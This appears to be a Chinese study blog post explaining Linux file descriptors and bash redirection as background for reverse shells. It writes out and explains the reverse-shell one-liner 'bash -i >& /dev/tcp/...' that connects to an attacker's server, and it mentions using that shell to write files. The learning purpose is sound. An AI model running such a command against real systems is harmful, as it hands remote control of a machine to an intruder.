0x00背景

最近一直在研究关于反弹shell的相关知识,刚好又看到了几篇好文。跟着大佬的文章好好学习下,记录一下最基础的知识。

0x01文件描述符

Linux文件描述符,又可以理解为Linux跟踪打开文件而分配的一个数字。

在文章中说其类似c语言操作文件的句柄,通过句柄可以实现文件的读写操作。

换我们能理解的词语其实是指针(可以是含有地址(指针)的结构体)。。

Linux启动会默认打开三个文件描述符:

  • 标准输入(stdin)standard input 0(默认设备键盘)使用<或<<

    /dev/stdin->/proc/self/fd/0 其中的0就代表/dev/stdin

  • 标准输出(stdout)standard output 1(默认设备显示器)使用>或>>

    /dev/stdout->/proc/self/fd/1 1代表:/dev/stdout

  • 错误输出(stderr)error output 2(默认设备显示器)

他们的描述符是0,1,2以后再打开文件描述符会递增。一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令都会默认有三个文件描述符。

0x02重定向

主要分两种:输入(< 或<<)和输出(>或>>)

主要内涵:重定向就是对文件描述符的操作。

然后是其核心内容:

  1. bash在执行一条指令的时候,会先检查命令中是否存在重定向的符号,如果存在会先将文件描述符重定向。

    然后再把重定向去掉后执行指令。

  2. 如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果

  3. < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

实例:

1.输入重定向

格式:文件描述符n < word

如果不写n默认是0标准输入。】

image-20210113105634982

image-20210113105719847

。我原本以为这个小实验会帮助理解,但我实在没看出来有什么东西。

image-20210113112950261

配合输出重定向可以从test文件中获取到标准输入数据然后输出给file文件。

解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。

2.输出重定向

这个就很适用了可以用了写文件内容,之前弹回来的Shell没法vi打开编辑文件就可以用输出重定向进行写文件。

image-20210113111304005

可以看到上面的>也可以写为1>

不写就默认是1标准输出。

image-20210113111543241

仔细发现使用echo会把原文件内容直接覆盖。

3.标准输出与标准错误输出重定向。

格式: &> word 或者是 >& word

将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同。

等价于 > word 2>&1

其中2>&1是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1。

总算到这里了:

来看一下反弹shell的语句:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

首先是使用bash -i获取一个交互的Bash命令行然后通过>&标准输出和错误输出重定向到

我们的vps端口上(走的tcp通道).最后是将标准输入复制到标准输出。也就是说我们在vps上输入的指令

就可以直接通过调用bash输出命令结果从而达到我们反弹shell的目的。

4.文件描述符的复制

格式: n<&m或者n>&m

含义都是将文件描述符n复制到m。区别是前者以只读形式打开,后者以写的形式打开。

其中&目的是为了区分数字名字的文件和文件描述符,如果没有&系统会认为是将文件描述符重定向到

了一个数字作为文件名的文件,而不是文件描述符。

参考文章:先知社区-文件描述符和重定向

博客园Linux标准输入和输出

博客园shell数据重定向